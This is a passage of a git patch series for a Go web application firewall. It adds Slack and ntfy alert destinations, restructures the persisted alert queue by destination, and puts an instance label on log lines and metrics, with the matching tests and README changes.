queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 2 || queue.Suppressed() != 0 { t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v", len(waiting), queue.Suppressed(), waiting) } @@ -250,7 +251,7 @@ func attackAlert( func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) { t.Helper() - got := queue.Snapshot().Waiting + got := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(got) != len(want) { t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got) } diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go index b5ad8fa..31a426e 100644 --- a/internal/rules/rules_test.go +++ b/internal/rules/rules_test.go @@ -387,7 +387,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) { wantFileError := func() { t.Helper() - waiting := queue.Snapshot().Waiting + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || waiting[0].Reason != hasError || waiting[0].Detail["error"] != want || waiting[0].Detail["file"] != filepath.Join(dir, firstFile) { diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 765eb2b..94113fb 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -122,9 +122,7 @@ func Run(ctx context.Context, params Params) int { server.Metrics.AddRemoteLog(remote) } - if cfg.AlertWebhookURL != nil { - server.Metrics.AddAlerts(alertQueue) - } + server.Metrics.AddAlerts(alertQueue) files, err := loadStateFiles(cfg, server, alertQueue, now, processLog) if err != nil { @@ -169,14 +167,17 @@ func loadStateFiles( }) } -// newAlertQueue returns the queue of the alerts to SWWAF_ALERT_WEBHOOK_URL, -// with the settings for it. +// newAlertQueue returns the queue of the alerts to the webhook, Slack and +// ntfy, with the settings for them. func newAlertQueue( cfg *config.Config, now func() time.Time, processLog *slog.Logger, ) *alerts.Queue { return alerts.New(alerts.Params{ WebhookURL: cfg.AlertWebhookURL, WebhookHeaders: cfg.AlertWebhookHeaders, + SlackURL: cfg.AlertSlackWebhookURL, + NtfyURL: cfg.AlertNtfyURL, + NtfyToken: cfg.AlertNtfyToken, Events: cfg.AlertEvents, Cooldown: cfg.AlertCooldown, MaxPerHour: cfg.AlertMaxPerHour, diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index eb14265..e0e9099 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -38,7 +38,8 @@ const ( stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rulesDir = "SWWAF_RULES_DIR" - adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name // adminSecret is the SWWAF_ADMIN_TOKEN the tests set. adminSecret = "fedcba9876543210fedcba9876543210" // greeting is what the tests' app answers. @@ -136,7 +137,7 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) { const token = "a-token-of-31-characters-at-all" //nolint:gosec // too short to use - for _, name := range []string{adminToken, "SWWAF_METRICS_TOKEN"} { + for _, name := range []string{adminToken, metricsToken} { t.Run(name, func(t *testing.T) { t.Parallel() @@ -517,7 +518,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { rulesDir: t.TempDir(), "SWWAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(), "SWWAF_LOG_REMOTE_BUFFER": "1", - "SWWAF_METRICS_TOKEN": token, + metricsToken: token, } out := runUntilStopped(t, env, func(url string) { @@ -591,7 +592,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { // alerts.json keeps it as smallwebwaf stops, and once started again, // smallwebwaf sends it. var file struct { - Waiting []struct { + Waiting map[string][]struct { Event string `json:"event"` } `json:"waiting"` } @@ -603,8 +604,10 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { err = json.Unmarshal(data, &file) } - if err != nil || len(file.Waiting) != 1 || file.Waiting[0].Event != "permanent_ban" { - t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting", data, err) + waiting := file.Waiting["webhook"] + if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" { + t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+ + "the webhook", data, err) } // It counts the alert sent in the metrics, read here from a client the @@ -614,7 +617,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { webhook.failing.Store(false) env["SWWAF_ALLOW_NETS"] = localhost - env["SWWAF_METRICS_TOKEN"] = token + env[metricsToken] = token runUntilStopped(t, env, func(url string) { webhook.waitFor(t, "permanent_ban", true) @@ -639,6 +642,79 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { }) } +func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { + t.Parallel() + + const ( + ntfyToken = "tk_0123456789abcdefghijklmnopq" + token = "abcdef0123456789abcdef0123456789" + client = "203.0.113.9" + ) + + slack, ntfy := startDestination(t), startDestination(t) + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rulesDir: t.TempDir(), + trustedProxies: localhost + "/32", + rateLimitPerDay: "1", + // The metrics are read from 127.0.0.1, which no limit counts. + "SWWAF_ALLOW_NETS": localhost + "/32", + metricsToken: token, + "SWWAF_INSTANCE_NAME": "fsn1app1/gitea", + "SWWAF_ALERT_SLACK_WEBHOOK_URL": slack.url, + "SWWAF_ALERT_NTFY_URL": ntfy.url, + "SWWAF_ALERT_NTFY_TOKEN": ntfyToken, + } + + runUntilStopped(t, env, func(url string) { + // The client's second request breaks the day limit, and bans it; + // Slack and ntfy are each sent the alert. + wantStatus(t, url, client, http.StatusOK) + wantStatus(t, url, client, http.StatusForbidden) + + var message struct { + Text string `json:"text"` + } + + slackPost := slack.firstPost(t) + err := json.Unmarshal([]byte(slackPost.body), &message) + + if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/gitea: ban*\n") || + !strings.Contains(message.Text, "\nclient: "+client+"\n") { + t.Errorf("Slack was sent %s", slackPost.body) + } + + ntfyPost := ntfy.firstPost(t) + if ntfyPost.header.Get("Title") != "fsn1app1/gitea: ban" || + ntfyPost.header.Get("Authorization") != "Bearer "+ntfyToken || + !strings.Contains(ntfyPost.body, "\nclient: "+client+"\n") { + t.Errorf("ntfy was sent %s, with the headers %v", ntfyPost.body, + ntfyPost.header) + } + + // The metrics count it for each, and give no series for the + // webhook, which is not set. As long as that takes, so that a slow + // test process cannot fail the test. + sent := []string{ + "\nsmallwebwaf_alerts_sent_total{destination=\"slack\"} 1\n", + "\nsmallwebwaf_alerts_sent_total{destination=\"ntfy\"} 1\n", + } + + metrics := metricsText(t, url+"_smallwebwaf/metrics", token) + for !strings.Contains(metrics, sent[0]) || !strings.Contains(metrics, sent[1]) { + time.Sleep(pollInterval) + + metrics = metricsText(t, url+"_smallwebwaf/metrics", token) + } + + if strings.Contains(metrics, `destination="webhook"`) { + t.Errorf("the metrics give the webhook:\n%s", metrics) + } + }) +} + func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { t.Parallel() @@ -1009,6 +1085,66 @@ func saveUntilAnswered(t *testing.T, path, content, url, from string, status int } } +// destination is a stand-in for SWWAF_ALERT_SLACK_WEBHOOK_URL or +// SWWAF_ALERT_NTFY_URL. It notes each request it is sent, and answers +// 200. +type destination struct { + url string + + mu sync.Mutex + posts []destinationPost +} + +// destinationPost is a request a destination was sent: its headers and +// its body. +type destinationPost struct { + header http.Header + body string +} + +// startDestination starts a destination that takes every alert. +func startDestination(t *testing.T) *destination { + t.Helper() + + d := &destination{} + server := httptest.NewServer(http.HandlerFunc( + func(_ http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + + d.mu.Lock() + d.posts = append(d.posts, destinationPost{ + header: r.Header.Clone(), body: string(body), + }) + d.mu.Unlock() + })) + t.Cleanup(server.Close) + + d.url = server.URL + "/alerts" + + return d +} + +// firstPost waits until the destination has been sent a request, and +// returns the first. It waits as long as that takes, so that a slow test +// process cannot fail the test. +func (d *destination) firstPost(t *testing.T) destinationPost { + t.Helper() + + for { + d.mu.Lock() + + if len(d.posts) > 0 { + post := d.posts[0] + d.mu.Unlock() + + return post + } + + d.mu.Unlock() + time.Sleep(pollInterval) + } +} + // webhook is a stand-in for SWWAF_ALERT_WEBHOOK_URL. It notes each alert // it is sent, and answers 204, or 503 while failing. type webhook struct { diff --git a/internal/state/state.go b/internal/state/state.go index ac936a4..3932334 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -2,11 +2,12 @@ // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and // history, lookups.json GeoJS's answers, and alerts.json the cooldowns, -// the hour under way and the alerts waiting. Load reads them at start, -// Watch takes in an admin's edit of one while smallwebwaf runs, and Run -// and WriteAll write them. The disk is read and written outside the -// parts' locks, which are held only to take a snapshot or to put in what -// a file holds, so that no request waits on the disk. +// the hour under way and the alerts waiting for each destination. Load +// reads them at start, Watch takes in an admin's edit of one while +// smallwebwaf runs, and Run and WriteAll write them. The disk is read and +// written outside the parts' locks, which are held only to take a +// snapshot or to put in what a file holds, so that no request waits on +// the disk. package state import ( @@ -18,9 +19,11 @@ import ( "fmt" "io/fs" "log/slog" + "maps" "net/netip" "os" "path/filepath" + "slices" "sync" "time" @@ -50,8 +53,12 @@ const ( var ( errVersion = errors.New("unknown version") // errMissing is for an entry without a field it needs. - errMissing = errors.New("has no") - errCause = errors.New("is not limit, attack or admin") + errMissing = errors.New("has no") + errCause = errors.New("is not limit, attack or admin") + errDestination = errors.New("is not webhook, slack or ntfy") + errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` + + `destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` + + `or remove the file`) ) // Params are what Load needs. @@ -129,10 +136,10 @@ type lookupsFile struct { // alertsFile is alerts.json, indented for an admin to read and edit. type alertsFile struct { - Version int `json:"version"` - Cooldowns []alerts.Cooldown `json:"cooldowns"` - Hour alerts.Hour `json:"hour"` - Waiting []alerts.Alert `json:"waiting"` + Version int `json:"version"` + Cooldowns []alerts.Cooldown `json:"cooldowns"` + Hour alerts.Hour `json:"hour"` + Waiting map[string][]alerts.Alert `json:"waiting"` } // stateFile is the struct of a state file. Once the file is decoded, its @@ -392,6 +399,17 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { f.params.GeoJS.Load(file.Lookups) entries = len(file.Lookups) case alertsJSON: + // waiting was a list, of the alerts waiting for the webhook, before + // alerts went to Slack and ntfy too. + var written struct { + Waiting json.RawMessage `json:"waiting"` + } + + if json.Unmarshal(data, &written) == nil && + bytes.HasPrefix(written.Waiting, []byte("[")) { + return 0, fmt.Errorf("%s: %w", path, errWaitingList) + } + var file alertsFile err := parse(path, data, &file) @@ -402,7 +420,10 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { f.params.Alerts.Load(alerts.State{ Cooldowns: file.Cooldowns, Hour: file.Hour, Waiting: file.Waiting, }) - entries = len(file.Waiting) + + for _, waiting := range file.Waiting { + entries += len(waiting) + } } f.sums[name] = sha256.Sum256(data) @@ -645,8 +666,9 @@ func (f *lookupsFile) check(data []byte) error { } // check refuses a cooldown without its event or when its alert was sent, -// which would hold back no repeat, and an alert waiting without its event -// or its time. +// which would hold back no repeat, alerts waiting for a destination with +// another name than webhook, slack or ntfy, most likely misspelt, and an +// alert waiting without its event or its time. func (f *alertsFile) check([]byte) error { for i, cooldown := range f.Cooldowns { switch { @@ -657,12 +679,18 @@ func (f *alertsFile) check([]byte) error { } } - for i, alert := range f.Waiting { - switch { - case alert.Event == "": - return fmt.Errorf("waiting %w", missing(i, "event")) - case alert.Time.IsZero(): - return fmt.Errorf("waiting %w", missing(i, "time")) + for _, destination := range slices.Sorted(maps.Keys(f.Waiting)) { + if !slices.Contains(alerts.Destinations(), destination) { + return fmt.Errorf("waiting %q %w", destination, errDestination) + } + + for i, alert := range f.Waiting[destination] { + switch { + case alert.Event == "": + return fmt.Errorf("waiting %s %w", destination, missing(i, "event")) + case alert.Time.IsZero(): + return fmt.Errorf("waiting %s %w", destination, missing(i, "time")) + } } } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index dc2323d..1accc7d 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -114,39 +114,41 @@ const filledAlertsJSON = `{ "source_failure": 1 } }, - "waiting": [ - { - "instance": "fsn1app1/gitea", - "time": "2026-10-06T00:00:00Z", - "event": "ban", - "client": "203.0.113.9", - "netblock": "203.0.113.9/32", - "asn": "", - "as_name": "", - "country": "DE", - "reason": "requests per minute over the limit of 1", - "detail": { - "cause": "limit" + "waiting": { + "webhook": [ + { + "instance": "fsn1app1/gitea", + "time": "2026-10-06T00:00:00Z", + "event": "ban", + "client": "203.0.113.9", + "netblock": "203.0.113.9/32", + "asn": "", + "as_name": "", + "country": "DE", + "reason": "requests per minute over the limit of 1", + "detail": { + "cause": "limit" + }, + "suppressed_repeats": 0 }, - "suppressed_repeats": 0 - }, - { - "instance": "fsn1app1/gitea", - "time": "2026-10-06T00:00:00Z", - "event": "file_error", - "client": "", - "netblock": "", - "asn": "", - "as_name": "", - "country": "", - "reason": "writing the state files failed", - "detail": { - "error": "no space left on device", - "file": "/var/lib/smallwebwaf/bans.json" - }, - "suppressed_repeats": 0 - } - ] + { + "instance": "fsn1app1/gitea", + "time": "2026-10-06T00:00:00Z", + "event": "file_error", + "client": "", + "netblock": "", + "asn": "", + "as_name": "", + "country": "", + "reason": "writing the state files failed", + "detail": { + "error": "no space left on device", + "file": "/var/lib/smallwebwaf/bans.json" + }, + "suppressed_repeats": 0 + } + ] + } } ` @@ -234,7 +236,7 @@ func TestSourceFailureCooldownKeptInAlertsJSONAcrossARestart(t *testing.T) { load(t, after) after.Alerts.Raise(failure) - waiting := after.Alerts.Snapshot().Waiting + waiting := after.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || after.Alerts.Suppressed() != 1 { t.Errorf("%d alerts wait and %d are held back, want the one read back and 1", len(waiting), after.Alerts.Suppressed()) @@ -270,7 +272,7 @@ func TestMissingFilesAreEmptyState(t *testing.T) { held := params.Alerts.Snapshot() if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || len(params.GeoJS.Snapshot()) != 0 || len(held.Cooldowns) != 0 || - len(held.Waiting) != 0 || held.Hour.Sent != 0 { + len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 { t.Error("state from no files") } } @@ -314,9 +316,14 @@ func TestFileThatDoesNotParseStopsTheStart(t *testing.T) { }, { "an unknown field of an alert waiting", alertsJSON, - `{"version": 1, "waiting": [{"event": "ban", "evnet": "ban"}]}`, + `{"version": 1, "waiting": {"webhook": [{"event": "ban", "evnet": "ban"}]}}`, `: json: unknown field "evnet"`, }, + { + "alerts waiting for an unknown destination", alertsJSON, + `{"version": 1, "waiting": {"webhook": [], "slak": []}}`, + `: waiting "slak" is not webhook, slack or ntfy`, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -426,13 +433,13 @@ func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { }, { "an alert waiting without its event", - `{"version": 1, "waiting": [{"time": "2026-10-06T00:00:00Z"}]}`, - `: waiting entry 1 has no "event"`, + `{"version": 1, "waiting": {"ntfy": [{"time": "2026-10-06T00:00:00Z"}]}}`, + `: waiting ntfy entry 1 has no "event"`, }, { "an alert waiting without its time", - `{"version": 1, "waiting": [{"event": "ban"}]}`, - `: waiting entry 1 has no "time"`, + `{"version": 1, "waiting": {"slack": [{"event": "ban"}]}}`, + `: waiting slack entry 1 has no "time"`, }, } { t.Run(tc.name, func(t *testing.T) { @@ -443,6 +450,23 @@ func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } +func TestAlertsJSONWithWaitingAsAListStopsTheStartSayingWhatToChange(t *testing.T) { + t.Parallel() + + // alerts.json as it was written before alerts went to Slack and ntfy too, + // with no alert waiting, or one. + for _, waiting := range []string{ + `[]`, + `[{"event": "ban", "time": "2026-10-06T00:00:00Z"}]`, + } { + wantRefused(t, alertsJSON, `{"version": 1, "cooldowns": [], `+ + `"hour": {"start": "2026-10-06T00:00:00Z", "sent": 0, "held_back": {}}, `+ + `"waiting": `+waiting+`}`, + `: waiting is a list, but now lists the alerts by destination: put the `+ + `list under "webhook", as "waiting": {"webhook": [...]}, or remove the file`) + } +} + func TestBanWithAnotherCauseStopsTheStart(t *testing.T) { t.Parallel() @@ -629,7 +653,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testi time.Sleep(time.Minute) synctest.Wait() - waiting := params.Alerts.Snapshot().Waiting + waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 { t.Fatalf("%d alerts wait, want 1", len(waiting)) } @@ -648,9 +672,10 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(t *testi time.Sleep(time.Minute) synctest.Wait() - if len(params.Alerts.Snapshot().Waiting) != 1 || params.Alerts.Suppressed() != 1 { + waiting = params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || params.Alerts.Suppressed() != 1 { t.Errorf("%d alerts wait and %d are held back, want 1 and 1", - len(params.Alerts.Snapshot().Waiting), params.Alerts.Suppressed()) + len(waiting), params.Alerts.Suppressed()) } }) } @@ -857,7 +882,7 @@ func TestEditOfEachFileTakenIn(t *testing.T) { // in. edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ `"netblock": "198.51.100.9/24", "sent": "2026-10-06T00:00:00Z"}], `+ - `"waiting": [{"event": "file_error", "time": "2026-10-06T00:00:00Z"}]}`) + `"waiting": {"webhook": [{"event": "file_error", "time": "2026-10-06T00:00:00Z"}]}}`) wantTakenIn(t, lines, dir, alertsJSON) want := alerts.State{ @@ -865,8 +890,10 @@ func TestEditOfEachFileTakenIn(t *testing.T) { Event: alerts.EventBan, Netblock: netip.MustParsePrefix("198.51.100.0/24"), Sent: midnight(), }}, - Hour: alerts.Hour{HeldBack: map[string]int{}}, - Waiting: []alerts.Alert{{Event: alerts.EventFileError, Time: midnight()}}, + Hour: alerts.Hour{HeldBack: map[string]int{}}, + Waiting: map[string][]alerts.Alert{ + alerts.DestinationWebhook: {{Event: alerts.EventFileError, Time: midnight()}}, + }, } if got := params.Alerts.Snapshot(); !reflect.DeepEqual(got, want) { t.Errorf("%s taken in as\n%+v\nwant\n%+v", alertsJSON, got, want) @@ -1096,7 +1123,7 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { } // It is raised as a file_error alert, with the same file and error. - waiting := params.Alerts.Snapshot().Waiting + waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || waiting[0].Detail["file"] != path+".bad" || waiting[0].Detail["error"] != message { t.Errorf("alerts waiting %+v, want a file_error alert for %s", waiting, path+".bad") From f35cbd01cf51b831bf15382a8ee8d43d4c10afd6 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 06:48:09 +0200 Subject: [PATCH 33/64] Instance name on process log lines and every metric (closes #91) Process log lines carry instance, as request lines do; the instance name is read before the other settings, so the line saying a setting is invalid carries it too. Every metric, Go's and the process's included, carries the label instance, set once on the registry. README.md says so, and that Prometheus keeps it as exported_instance unless the scrape sets honor_labels. An instance name that is not valid UTF-8 stops the start, as the metrics library panics on such a label. Tests that read metrics expect the label; one helper replaces the alert tests' loops that wait for them. Judgement call: the label is named instance, as in the log lines and alerts, although Prometheus gives each target a label of that name. Model: opus-5-5 --- README.md | 15 ++- internal/config/config.go | 34 ++++++- internal/config/config_test.go | 19 ++++ internal/lookup/lookup_test.go | 6 +- internal/metrics/metrics.go | 15 +-- internal/proxy/metrics_test.go | 108 +++++++++++--------- internal/proxy/passthrough_test.go | 7 +- internal/proxy/proxy.go | 2 +- internal/proxy/proxy_test.go | 10 +- internal/proxy/rulefiles_test.go | 16 +-- internal/requestlog/requestlog.go | 6 +- internal/requestlog/requestlog_test.go | 9 +- internal/smallwebwaf/smallwebwaf.go | 5 +- internal/smallwebwaf/smallwebwaf_test.go | 120 ++++++++++++++++++----- internal/state/state_test.go | 16 +-- 15 files changed, 267 insertions(+), 121 deletions(-) diff --git a/README.md b/README.md index 7060966..a862563 100644 --- a/README.md +++ b/README.md @@ -210,9 +210,11 @@ effective settings are logged at start. `https`, a host and an optional port, and nothing more. - `SWWAF_INSTANCE_NAME` (default: the host's name, which docker sets to the first 12 characters of the container's id unless the deployment names one): - the name each request log line gives as `instance`. Set it, for example to + the name every log line and alert gives as `instance`, and every metric + carries as its label `instance` (see "Metrics" below). Set it, for example to `fsn1app1/gitea`, for a name that stays the same when a deploy replaces the - container, and that tells instances apart when several log to one place. + container, and that tells instances apart when several log to one place. A + name that is not valid UTF-8, such as one saved in Latin-1, stops the start. - `SWWAF_MODE` (default `enforce`): `enforce`, or `observe` to pass on the requests `smallwebwaf` would refuse and log what it would have done (see "What it does so far" above). @@ -513,7 +515,7 @@ A field that does not apply to a request is left out of its line, apart from No body is logged, and no header but those above. `smallwebwaf`'s own messages (start, the settings, stop, errors) share the stream as JSON lines marked -`"type":"process"`. +`"type":"process"`, each with `instance` as a request's line has it. Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and headers before `smallwebwaf` sees the request, and some requests end there, @@ -897,6 +899,13 @@ empty directory or set `SWWAF_RULES_ENABLED=false`. format, for a scraper that sends `SWWAF_METRICS_TOKEN`, through traefik like any other request. No metric carries a client's address. +Every metric below, Go's and the process's included, carries the label +`instance`, `SWWAF_INSTANCE_NAME`, as a constant label set once on the registry +the metrics are kept in, rather than as a label each metric declares. Prometheus +gives each series it scrapes an `instance` label of its own, the address it +scraped, and keeps this one as `exported_instance` unless the scrape sets +`honor_labels: true`. + - `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and `smallwebwaf_response_bytes_total`: requests, and their body bytes each way, by `status_class`, such as `2xx`, or `none` when nothing was sent, and by diff --git a/internal/config/config.go b/internal/config/config.go index 1f4e59e..dd759fb 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -34,9 +34,10 @@ type Config struct { ListenAddr string // UpstreamURL is the app (SWWAF_UPSTREAM_URL). UpstreamURL *url.URL - // InstanceName is the name each request log line gives as instance - // (SWWAF_INSTANCE_NAME), by default the host's name, which docker sets - // to the first 12 characters of the container's id. + // InstanceName is the name every log line and alert gives as instance, + // and every metric carries as its label instance (SWWAF_INSTANCE_NAME), + // by default the host's name, which docker sets to the first 12 + // characters of the container's id. InstanceName string // Observe is true in observe mode, when SWWAF_MODE is observe rather // than enforce: a request that SWWAF_DENY_NETS, a ban, the country @@ -267,6 +268,7 @@ var ( "is not ban, permanent_ban, waf_block, anomaly, reputation_hit, " + "source_failure or file_error") errNotNumberOrOff = errors.New("is not a whole number above zero, such as 60, or off") + errNotUTF8 = errors.New("is not valid UTF-8") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -276,11 +278,10 @@ var ( // setting that is set but invalid is an error that names it. func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { env := &environment{lookupEnv: lookupEnv} - hostname, _ := os.Hostname() // "" when the host has no name to give cfg := &Config{ ListenAddr: env.address("SWWAF_LISTEN_ADDR", defaultListenAddr), UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", defaultUpstreamURL), - InstanceName: env.value("SWWAF_INSTANCE_NAME", hostname), + InstanceName: env.instanceName(), Observe: env.observe("SWWAF_MODE", "enforce"), TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), @@ -373,6 +374,16 @@ func ListenAddrAndUpstreamURL( return listenAddr, upstreamURL, nil } +// InstanceName reads only SWWAF_INSTANCE_NAME, which may be given as a +// file, as FromEnvironment does, so that the line saying a setting is +// invalid carries it too. A file that cannot be read gives the default +// here, and FromEnvironment then stops the start over it. +func InstanceName(lookupEnv func(string) (string, bool)) string { + env := &environment{lookupEnv: lookupEnv} + + return env.instanceName() +} + // privateRanges are the private address ranges, the default trusted // proxies. const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" @@ -660,6 +671,19 @@ func (e *environment) facility(name, defaultValue string) int { return number } +// instanceName reads SWWAF_INSTANCE_NAME, by default the host's name. It +// must be valid UTF-8: the metrics library panics on a label that is not. +func (e *environment) instanceName() string { + hostname, _ := os.Hostname() // "" when the host has no name to give + + value := e.value("SWWAF_INSTANCE_NAME", hostname) + if !utf8.ValidString(value) { + e.check("SWWAF_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8)) + } + + return value +} + // appName reads the setting that is the APP-NAME of the records the log // lines are sent in, by default the instance name. Its value is checked // when it is set, and, while lines are sent, when it is the instance name. diff --git a/internal/config/config_test.go b/internal/config/config_test.go index f1df225..ecd53fa 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -737,6 +737,25 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin } } +func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) { + t.Parallel() + + // café saved in Latin-1. + const latin1 = "caf\xe9" + + for name, env := range map[string]environment{ + "set": {instanceName: latin1}, + "in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")}, + } { + _, err := config.FromEnvironment(env.lookupEnv) + + want := instanceName + `: "caf\xe9" is not valid UTF-8` + if err == nil || err.Error() != want { + t.Errorf("%s: error %v, want %s", name, err, want) + } + } +} + func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { t.Parallel() diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go index 8f24cc6..1f85297 100644 --- a/internal/lookup/lookup_test.go +++ b/internal/lookup/lookup_test.go @@ -199,7 +199,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { URL: lookup.URL, Now: time.Now, ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), - Metrics: metrics.New(1), + Metrics: metrics.New(1, "app"), Alerts: alerts.New(alerts.Params{}), }) g.SetTransport(geojs) @@ -398,7 +398,7 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - m := metrics.New(1) + m := metrics.New(1, "app") g := lookup.New(lookup.Params{ URL: lookup.URL, Now: time.Now, @@ -589,7 +589,7 @@ func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) { URL: lookup.URL, Now: clock.Now, ProcessLog: slog.New(slog.DiscardHandler), - Metrics: metrics.New(1), + Metrics: metrics.New(1, "app"), Alerts: queue, }) g.SetTransport(geojs) diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 410f1f2..3eb8df2 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -21,7 +21,8 @@ import ( // Metrics are smallwebwaf's metrics. They are safe for concurrent use. type Metrics struct { - registry *prometheus.Registry + // registry gives every metric registered with it the label instance. + registry prometheus.Registerer handler http.Handler inFlight prometheus.Gauge @@ -55,13 +56,17 @@ type Metrics struct { // New returns the metrics, with the Go runtime's and the process's own. // topN is how many countries get series of their own -// (SWWAF_METRICS_TOP_N). -func New(topN int) *Metrics { +// (SWWAF_METRICS_TOP_N). Every metric carries instanceName +// (SWWAF_INSTANCE_NAME) as its label instance. +func New(topN int, instanceName string) *Metrics { byStatus := []string{"status_class", "action"} byFile := []string{"file"} + registry := prometheus.NewRegistry() m := &Metrics{ - registry: prometheus.NewRegistry(), + registry: prometheus.WrapRegistererWith( + prometheus.Labels{"instance": instanceName}, registry), + handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}), inFlight: prometheus.NewGauge(prometheus.GaugeOpts{ Name: "smallwebwaf_requests_in_flight", Help: "Requests under way.", @@ -119,8 +124,6 @@ func New(topN int) *Metrics { byFile), } - m.handler = promhttp.HandlerFor(m.registry, promhttp.HandlerOpts{}) - m.registry.MustRegister( collectors.NewGoCollector(), collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), diff --git a/internal/proxy/metrics_test.go b/internal/proxy/metrics_test.go index 1d82beb..a6c3881 100644 --- a/internal/proxy/metrics_test.go +++ b/internal/proxy/metrics_test.go @@ -148,8 +148,8 @@ func TestMetricsCountTheTraffic(t *testing.T) { wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound) out.requestLines(t, 2) - forward := `{action="forward",status_class="2xx"}` - notFound := `{action="admin",status_class="4xx"}` + forward := `{action="forward",instance="app",status_class="2xx"}` + notFound := `{action="admin",instance="app",status_class="4xx"}` // The request for the metrics is itself under way. metrics := scrape(t, addr) @@ -159,11 +159,13 @@ func TestMetricsCountTheTraffic(t *testing.T) { wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5) wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound, float64(len("Not Found\n"))) - wantMetric(t, metrics, "smallwebwaf_request_duration_seconds_count", 